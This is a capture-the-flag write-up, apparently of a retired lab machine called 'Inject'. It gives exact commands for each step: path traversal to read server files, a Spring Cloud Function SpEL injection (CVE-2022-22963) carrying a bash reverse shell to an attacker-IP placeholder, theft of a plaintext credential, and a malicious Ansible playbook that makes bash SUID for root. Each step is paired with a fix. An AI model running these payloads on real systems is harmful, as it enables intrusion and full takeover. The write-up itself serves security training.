Inject
Summary
I discovered a Spring Boot file-upload application on port 8080 whose image-viewer endpoint accepted a raw user-supplied filename with no path validation, allowing unauthenticated traversal to any file on the server. By reading the application's Maven build file through that same flaw, I identified a critically vulnerable Spring Cloud Function version (CVE-2022-22963) and exploited a server-side Spring Expression Language injection at the /functionRouter endpoint to gain remote code execution as the 'frank' service account.
Sensitive credentials for a second user, phil, were found in a plaintext Maven settings file stored in frank's home directory. Authenticated as phil — a member of the 'staff' group — I found that a root-owned cron job periodically executed every Ansible playbook in a directory writable by that group, enabling a trivial one-step privilege escalation to full system control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p 22,8080 $TARGETcurl -s http://$TARGET:8080/Exact commands 2
curl -s "http://$TARGET:8080/show_image?img=../../../../../../etc/passwd"curl -s "http://$TARGET:8080/show_image?img=../../../../../../var/www/WebApp/pom.xml"FixValidate and confine the image-viewer filename parameterHigh
Exact commands 1
curl -s "http://$TARGET:8080/show_image?img=../../../../../../var/www/WebApp/pom.xml" | grep -A2 'spring-cloud-function'Exact commands 2
nc -lvnp 4444curl -s -X POST "http://$TARGET:8080/functionRouter" -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"})' --data-raw 'pwn'FixUpgrade Spring Cloud Function to a version that patches CVE-2022-22963Critical
Exact commands 3
find /home/frank -name '*.xml' -o -name '*.yml' -o -name '*.yaml' 2>/dev/nullcat /home/frank/.m2/settings.xmlcat /home/frank/user.txtFixRemove cleartext credentials from application and user configuration filesHigh
Exact commands 2
su - philidExact commands 5
find / -group staff -writable 2>/dev/nullcat /etc/crontabcat > /opt/automation/tasks/pwn.yml << 'EOF'
- hosts: localhost
tasks:
- name: escalate
ansible.builtin.shell: chmod +s /bin/bash
become: true
EOF/bin/bash -pcat /root/root.txtFixRemove group-writable permissions from the Ansible automation directoryCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | nagios-nsca Nagios NSCA |